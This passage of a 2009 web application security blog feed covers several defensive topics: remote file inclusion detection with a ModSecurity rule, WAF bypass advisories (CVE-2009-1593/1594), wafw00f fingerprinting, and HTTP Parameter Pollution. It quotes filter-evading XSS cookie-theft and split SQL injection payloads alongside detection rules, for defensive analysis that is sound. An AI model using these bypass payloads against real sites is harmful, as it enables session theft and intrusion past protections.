Inclusion'"&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;RFI Host Doesn't Match Local Host&lt;/b&gt;&lt;/div&gt;&lt;div&gt;One other technique that can be used to detect RFI attacks (when the application never legitimately references files offsite) is to inspect the domain name/hostname specified within the parameter payload and then compare it to the Host header data submitted in the request.  If the two items match, then this would allow the normal fully qualified referencing back to the local site while simultaneously deny offsite references.  For example, the following legitimate request would be allowed as the hostnames match:&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;&lt;/span&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'courier new';"&gt;GET /path/to/app?foo=bar&amp;amp;filename=&lt;i&gt;http://&lt;b&gt;www.example.com&lt;/b&gt;/somefile.txt&lt;b&gt; &lt;/b&gt;&lt;/i&gt;HTTP/1.1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;Host: &lt;b&gt;www.example.com&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;div&gt;A rule for detecting such a condition such an attack should initially search for “^(?:ht|f)tps?:\/\/(.*)\?$” which also captures the hostname data within the 2nd parentheses.   The 2nd part of this rule then compares the saved capture data with the macro expanded Host header data from the request.  An example ModSecurity rule to detect it is:&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;div&gt;SecRule ARGS "^(?:ht|f)tps?://(.*)\?$" \&lt;/div&gt;&lt;div&gt; "chain,phase:2,t:none,t:htmlEntityDecode,t:lowercase,capture,ctl:auditLogParts=+E,block,log,auditlog,status:501,msg:'Remote File Inclusion Attack'"&lt;/div&gt;&lt;div&gt;        SecRule TX:1 "!@beginsWith %{request_headers.host}" &lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div&gt;These generic RFI rules could be used individually or collaboratively in an anomaly scoring scenario to help identify these types of attacks.  Keep an eye out for a major public release of the new ModSecurity Core Rule Set (CRS) as it will include these new rules and many others.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-8108412177140746923?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/8108412177140746923/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=8108412177140746923' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/8108412177140746923'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/8108412177140746923'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2009/06/generic-remote-file-inclusion-attack.html' title='Generic Remote File Inclusion Attack Detection'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-4845082893898558589</id><published>2009-06-05T12:51:00.003-04:00</published><updated>2009-06-26T08:14:11.592-04:00</updated><title type='text'>WAF Bypass Issues: Poor Negative and Positive Security</title><content type='html'>&lt;div style="text-align: left;"&gt;&lt;span class="Apple-style-span" style="font-style: italic; "&gt;Submitted by Ryan Barnett 6/5/2009&lt;/span&gt;&lt;/div&gt;&lt;div&gt;In my &lt;a href="http://tacticalwebappsec.blogspot.com/2009/06/waf-detection-with-wafw00f.html"&gt;previous post&lt;/a&gt; I provided an overview of potential WAF identification techniques discussed in a recent OWASP AppSec conference talk.  In this entry, I want to discuss the other half of their talk which highlights a &lt;a href="http://resources.enablesecurity.com/advisories/ES-20090500-profense.txt"&gt;few different WAF/security filter bypass issues&lt;/a&gt;.  From their Advisory report, we find the following two main issues -&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Negative Security Signature Bypass&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'times new roman';"&gt;&lt;pre style="word-wrap: break-word; white-space: pre-wrap; "&gt;&lt;blockquote&gt;::::: Blacklist / negative model bypass :::::&lt;/blockquote&gt;&lt;blockquote&gt;CVE: CVE-2009-1593&lt;/blockquote&gt;&lt;blockquote&gt;Description: Profense Web Application Firewall with default configuration in negative model can be evaded to inject XSS.&lt;/blockquote&gt;&lt;blockquote&gt;Technical Description:&lt;/blockquote&gt;&lt;blockquote&gt;Versions 2.4 and 2.2 of Profense Web Application Firewall with the default configuration in negative model (blacklist approach) can be evaded to inject XSS (Cross-Site Scripting). The problem is due to the built-in core rules that can be abused using the flexibility provided by HTML and JavaScript.&lt;/blockquote&gt;&lt;blockquote&gt;The vulnerability can be reproduced by injecting a common XSS attack in a vulnerable application protected by Profense Web Application Firewall. Inserting extra characters in the JavaScript close tag will bypass the XSS protection mechanisms. An example is shown below:&lt;/blockquote&gt;&lt;blockquote&gt;http://testcases/phptest/xss.php?var=%3Cscript%3Ealert(document.cookie)%3C/script&lt;b&gt;%20ByPass&lt;/b&gt;%3E&lt;/blockquote&gt;&lt;/pre&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;As you can see from the bolded section of the closing script tag above, by inserting extra text within this tag, it was able to bypass the negative signature that was within the WAF.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Analysis&lt;/b&gt;&lt;/div&gt;&lt;div&gt;When creating negative security regular expression filters, it is challenging to make them accurate and balance both false positives and negatives.  In this particular case, it seems as though the Cross-site Scripting (XSS) signatures were a bit too specific, since the signature(s) were able to be bypassed by adding in additional text to the closing script tag.  This leads me to believe that perhaps all of the XSS signatures ended with a closing script tag.  XSS attacks don't always have to end with this tag for two main reasons -&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;Some browsers only need to see the opening script tag in order to execute the payloads, and&lt;/li&gt;&lt;li&gt;Many XSS vulnerabilities manifest themselves because the client supplied data is inserted into an existing script tag in the output so including it within the attack payload is not necessary.&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div&gt;It is for these types of reasons that many people use negative security signatures that look for smaller components of attack payloads rather than trying to describe the entire thing.  For instance, in this case, what about some smaller individual regexs that looked for the opening script tag, the alert( action or the document.cookie object on their own? If you use smaller signatures, then you could still correlate matches together as part of an anomaly score and it would be more difficult for an attacker to circumvent them all. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;While this specific advisory identified an issue with one particular WAF vendor it could happen to any of them.  Anyone who has been in the security industry for a period of time understands that negative security rules or signatures is not bullet proof and evasions are always a concern.  It is somewhat like the Anti-Virus market in that user's are constantly playing catchup with the bad guy's newest attack techniques.  If you rely upon negative security signatures that are created specifically for known attack vector's then you are doomed to run on the &lt;a href="http://www.securitymetrics.org/content/Wiki.jsp?page=Welcome_blogentry_040505_1"&gt;Hamster Wheel of Pain&lt;/a&gt; where you have to update the signatures constantly.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Considering that this specific issue was a bypass/evasion of a negative security rule - I do not necessarily believe that it warranted an actual public vulnerability announcement.  If public announcements for negative security filter bypasses of a security device was the norm, then we would be flooded with them for all IDS/IPS/WAF systems as they all have bypass problems.  It is for this reason that you can not rely upon negative security rules/signatures alone for protection against web application attacks.  You need to also utilize positive security rules, which brings us to the 2nd part of the advisory.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;Positive Security Model Bypass&lt;/span&gt; &lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" ;font-family:'times new roman';"&gt;&lt;pre style="word-wrap: break-word; white-space: pre-wrap; "&gt;&lt;blockquote&gt;::::: Whitelist / positive model bypass :::::&lt;/blockquote&gt;&lt;blockquote&gt;CVE: CVE-2009-1594&lt;/blockquote&gt;&lt;blockquote&gt;Description: &lt;/blockquote&gt;&lt;blockquote&gt;Profense Web Application Firewall configured in positive model can be evaded.&lt;/blockquote&gt;&lt;blockquote&gt;Technical details:&lt;/blockquote&gt;&lt;blockquote&gt;Profense Web Application Firewall configured to make use of the strong positive model (white-list approach) can be evaded to launch various attacks including XSS (Cross-Site Scripting), SQL Injection, remote command execution, and others. &lt;/blockquote&gt;&lt;blockquote&gt;The vulnerability can be reproduced by making use of a URL-encoded new line character. The pattern matching in multi line mode matches any non-hostile line and marks the whole request as legitimate, thus allowing the request. This results in a bypass in the positive model. An example is showed below:&lt;/blockquote&gt;&lt;blockquote&gt;http://testcases/phptest/xss.php?var=%3CEvil%20script%20goes%20here%3E=&lt;b&gt;%0AByPass&lt;/b&gt;&lt;/blockquote&gt;&lt;/pre&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Similar to the negative security bypass issue shown previously, the security researches found that they could evade the positive security model profile by inserting a url encoded linefeed character (%0A) to the end of the attack payload and then appending a payload that actually matched the acceptable profile.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold; "&gt;Analysis&lt;/span&gt;&lt;/div&gt;&lt;div&gt;While I somewhat downplayed the previous negative security bypass issue, I do believe that this is a serious vulnerability and it certainly does warrant a public announcement.  This is more serious of an issue as it isn't just a particular signature that is evaded but potentially an entire set of signatures/rules that are meant to provide better confirmation of the payload.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The underlying problem with this particular WAF application is that its Regular Expression engine was most likely configured to run in "&lt;a href="http://www.regular-expressions.info/anchors.html"&gt;multiline mode&lt;/a&gt;."  Combine that configuration with a poorly constructed positive security regular expression ruleset (that is not utilizing proper beginning/end of line anchoring) and you end up with this bypass situation.  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Proper construction of positive security regular expression rules is not an easy task.  &lt;a href="http://www.netnea.com/cms/?q=remo"&gt;Remo&lt;/a&gt; is a GUI rules editor for ModSecurity rules and it is quite useful for manually creating these positive security rules to enforce items such as the expected character set, format of length.  Here is a graphical representation of what Remo does with the data inserted by the user.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;img src="http://3.bp.blogspot.com/_E0YEPhKPc2k/SkPa-2-e7zI/AAAAAAAAAEM/vmQ0NQZuG1c/s400/remo_positive_security.png" /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If you look and see how the data is translated into the ModSecurity rules language syntax, it is using a regular expression operator that is using beginning (^) and end of line ($) anchors to ensure that the character classes specified match against the entire payload and not just a portion of it.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/div&gt;&lt;div&gt;A few closing thoughts on this topic.  First of all, this advisory shows that both negative and positive security models can have shortcomings and flaws.  It is not enough to rely upon either one alone.  A top tier WAF should be able to take data from both the negative security signatures and any anomalies identified from the positive security model and then correlate them together for increased intelligence and coverage.  If you look at both of these examples together, these two components were clearly used in a mutually exclusive fashion.  It seems as if the positive security model was used, then the negative security signatures were not evaluated.  From a sheer performance perspective this might be good, but not from a security one.  These two models should be used together for better coverage.   &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Any web security device that is apply regular expression filters/signatures/rules should be reviewed to validate exactly how the regular expression engine is configured and to review the construction of the rules themselves.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-4845082893898558589?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/4845082893898558589/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=4845082893898558589' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/4845082893898558589'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/4845082893898558589'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2009/06/waf-bypass-issues-poor-negative-and.html' title='WAF Bypass Issues: Poor Negative and Positive Security'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_E0YEPhKPc2k/SkPa-2-e7zI/AAAAAAAAAEM/vmQ0NQZuG1c/s72-c/remo_positive_security.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-2986326789010560688</id><published>2009-06-03T12:49:00.010-04:00</published><updated>2009-06-03T15:31:43.948-04:00</updated><title type='text'>WAF Detection with wafw00f</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_E0YEPhKPc2k/SiayoBlbIwI/AAAAAAAAADY/ao1NyjM7Sn0/s1600-h/waf_evasion_darkreading.JPG"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 387px; height: 226px;" src="http://4.bp.blogspot.com/_E0YEPhKPc2k/SiayoBlbIwI/AAAAAAAAADY/ao1NyjM7Sn0/s400/waf_evasion_darkreading.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5343154408611586818" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;Submitted by Ryan Barnett 06/03/2009&lt;/span&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Another interesting presentation that was given by Wendel &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;Guglielmetti&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;Henrique&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;Trustwave&lt;/span&gt; &amp;amp; Sandro &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;Gauci&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;EnableSecurity&lt;/span&gt; at the recent &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;OWASP&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;AppSec&lt;/span&gt; EU conference was entitled &lt;a href="http://www.owasp.org/images/0/0a/Appseceu09-Web_Application_Firewalls.pdf"&gt;The Truth about Web Application Firewalls: What the vendors don't want you to know&lt;/a&gt;.  The two main topics to the talk were &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;WAF&lt;/span&gt; detection and evasion.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;WAF&lt;/span&gt; Detection&lt;/span&gt;&lt;/div&gt;&lt;div&gt;The basic premise for this topic is that &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;inline&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;WAFs&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; can be detected through stimulus/response testing scenarios.  Here is a short listing of possible detection methods:&lt;/div&gt;&lt;div&gt;&lt;p class="MsoPlainText"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoPlainText"&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Cookies - Some &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;WAF&lt;/span&gt; products add their own cookie in the HTTP communication.&lt;/li&gt;&lt;li&gt;Server Cloaking - Altering URLs and Response Headers&lt;/li&gt;&lt;li&gt;Response Codes - Different error codes for hostile pages/parameters values&lt;/li&gt;&lt;li&gt;Drop Action - Sending a FIN/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;RST&lt;/span&gt; packet (technically could also be an IDS/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;IPS&lt;/span&gt;)&lt;/li&gt;&lt;li&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;Pre&lt;/span&gt; Built-In Rules - Each &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;WAF&lt;/span&gt; has different negative security signatures&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;p class="MsoPlainText"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;p class="MsoPlainText"&gt;The authors even created a tool called &lt;a href="http://code.google.com/p/waffit/source/browse/#svn/trunk"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;wafw&lt;/span&gt;00f&lt;/a&gt; to help automate these fingerprinting tasks.  The tool states that it is able to identify over 20 different &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;WAFs&lt;/span&gt; (including &lt;a href="http://www.modsecurity.org/"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;ModSecurity&lt;/span&gt;&lt;/a&gt;) so I thought I would try it out against my own &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;ModSecurity&lt;/span&gt; install to see how it works.  After reviewing the python source code and running a few tests, it is evident that in order for &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;wafw&lt;/span&gt;00f to identify a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;ModSecurity&lt;/span&gt; installation, it is relying upon the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;Pre&lt;/span&gt; Built-In Rules category as mentioned above.  Specifically, if a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;ModSecurity&lt;/span&gt; installation is using the &lt;a href="http://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project"&gt;Core Rule Set&lt;/a&gt; and has the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;SecRuleEngine&lt;/span&gt; On directive set, then the OS command/file access attack payloads sent by &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;wafw&lt;/span&gt;00f will trigger the corresponding rules and a 501 response status code will be returned.&lt;/p&gt;&lt;p class="MsoPlainText"&gt;Reliance upon the returned HTTP status code is not a strong indicator of the existence of a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;WAF&lt;/span&gt; as this can be easily changed.  Looking on the other end of the spectrum, and taking a defensive posture, this scenario reminds me somewhat of best practice steps for virtual patch creation.  One of the key tenants for creating these patches is that you don't want to key off of attributes in an attack payload that are superfluous.  The point being is that there are only a small set of key elements that are key to the success of the exploit.  These are the items that you want to focus on for a virtual patch.  If, however, you key off of non-essential data from some proof of concept code, your virtual patch can be easily evaded if the attack alters this data.  In this particular case with &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;wafw&lt;/span&gt;00f, the HTTP response code generated by &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;ModSecurity&lt;/span&gt; is customizable by the polices so the identification effectiveness is reduced to only "Default Configurations."  With &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;ModSecurity&lt;/span&gt;, for instance, it is trivial to update the status action of the Core Rule Set to use some other status code.  This can be accomplished in a number of ways such as by using the block action in the rules or &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;SecRuleUpdateActionById&lt;/span&gt; directive to change what status code is returned.&lt;/p&gt;&lt;p class="MsoPlainText"&gt;This is an interesting tool in that it aids with the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;pentesting&lt;/span&gt;/assessment steps of &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_32"&gt;footprinting&lt;/span&gt; the target network.  The more details that you can identify about the target, the more finely tuned your attack strategy can be.  With this in mind, if you want to easily trick &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_33"&gt;wafw&lt;/span&gt;00f, you could always update the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_34"&gt;SecServerSignature&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_35"&gt;ModSecurity&lt;/span&gt; directive to spoof the server response header and impersonate another &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_36"&gt;WAF&lt;/span&gt; product :)  Take a look at the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_37"&gt;wafw&lt;/span&gt;00f code for hints on what data to use.&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-2986326789010560688?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/2986326789010560688/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=2986326789010560688' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/2986326789010560688'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5361523904237597206/posts/default/2986326789010560688'/><link rel='alternate' type='text/html' href='http://tacticalwebappsec.blogspot.com/2009/06/waf-detection-with-wafw00f.html' title='WAF Detection with wafw00f'/><author><name>Ryan Barnett</name><uri>http://www.blogger.com/profile/12300602630139148313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_E0YEPhKPc2k/S-M22Zh0z6I/AAAAAAAAAHc/t4AvuxHLe08/S220/ryan_barnett.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_E0YEPhKPc2k/SiayoBlbIwI/AAAAAAAAADY/ao1NyjM7Sn0/s72-c/waf_evasion_darkreading.JPG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5361523904237597206.post-3794593422569058363</id><published>2009-05-27T12:27:00.001-04:00</published><updated>2009-05-28T10:41:57.992-04:00</updated><title type='text'>HTTP Parameter Pollution</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_E0YEPhKPc2k/Sh6enuyiFYI/AAAAAAAAADQ/AcxlwmlE1Wk/s1600-h/http_parameter_pollution.JPG"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 400px; height: 214px;" src="http://1.bp.blogspot.com/_E0YEPhKPc2k/Sh6enuyiFYI/AAAAAAAAADQ/AcxlwmlE1Wk/s400/http_parameter_pollution.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5340880613520053634" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;Submitted by Ryan Barnett 05/27/2009&lt;/span&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;How does your web application respond if it receives multiple parameters all with the same name?&lt;/span&gt;  &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If you don't know the answer to this question, you might want to find out quickly.  While not a completely new attack category, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;webapp&lt;/span&gt; security researchers &lt;a href="http://blog.mindedsecurity.com/"&gt;Stefano &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;di&lt;/span&gt; Paola&lt;/a&gt; and &lt;a href="http://www.ikkisoft.com/"&gt;Luca &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;Carettoni&lt;/span&gt;&lt;/a&gt; certainly opened many people's eyes to the dangers of &lt;a href="http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf"&gt;HTTP Parameter Pollution&lt;/a&gt; at the recent &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;OWASP&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;AppSec&lt;/span&gt; Europe conference.  This was the main premise of the talk and it is actually pretty straight forward - an attacker may submit additional parameters to a web application and if these parameters have the same name as an existing parameter, the web application may react in one of the following ways -&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;It may only take the data from the first parameter&lt;br /&gt;&lt;/li&gt;&lt;li&gt;It may take the data from the last parameter&lt;br /&gt;&lt;/li&gt;&lt;li&gt;It may take the data from all parameters and concatenate them together&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;The ramifications of these processing differences is that attackers may be able to distribute attack payloads across multiple parameters to evade signature-based filters.  For example, the following &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;SQL&lt;/span&gt; Injection attack should be caught by most negative security filters -&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;/index.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;aspx&lt;/span&gt;?page=&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;select 1,2,3 from table where id=1&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If, however, the attacker passes 2 parameters each called "page" with a portion of the attack payload in each, then the back-end web application may consolidate the payloads together into one on the back-end for processing -&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;/index.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;aspx&lt;/span&gt;?page=&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;select 1&lt;/span&gt;&lt;/span&gt;&amp;amp;page=&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span" style="font-style: italic;"&gt;2,3 from table where id=1&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;If a negative security filter is applying a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;regex&lt;/span&gt; that looks for say a SELECT followed by a FROM to each individual parameter value then it would miss this attack.  It is for this reason that some implementations will actually apply the signature check to the entire &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;QUERY&lt;/span&gt;_STRING and REQUEST_BODY data strings in order to catch these types of attacks.  While this may help, the unfortunate side effect is that this will most likely increase the false positive rate of other signatures.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The best approach to this issue is to use automated learning/profiling of the web application to identify if multiple &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_10"&gt;occurrences&lt;/span&gt; of parameters is normal or not.  Most web application firewalls, for instance, gather basic meta-data characteristics of parameters such as the normal size of the payloads or the expected character sets used (digits only vs. alphanumeric, etc...).  The top tier &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;WAFs&lt;/span&gt;, however, also track if there are multiple occurrences.  If an attacker then adds in duplicate parameter names, the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;WAF&lt;/span&gt; would be able to flag this anomaly and take appropriate action.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5361523904237597206-3794593422569058363?l=tacticalwebappsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://tacticalwebappsec.blogspot.com/feeds/3794593422569058363/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5361523904237597206&amp;postID=3794593422569058363' title='2 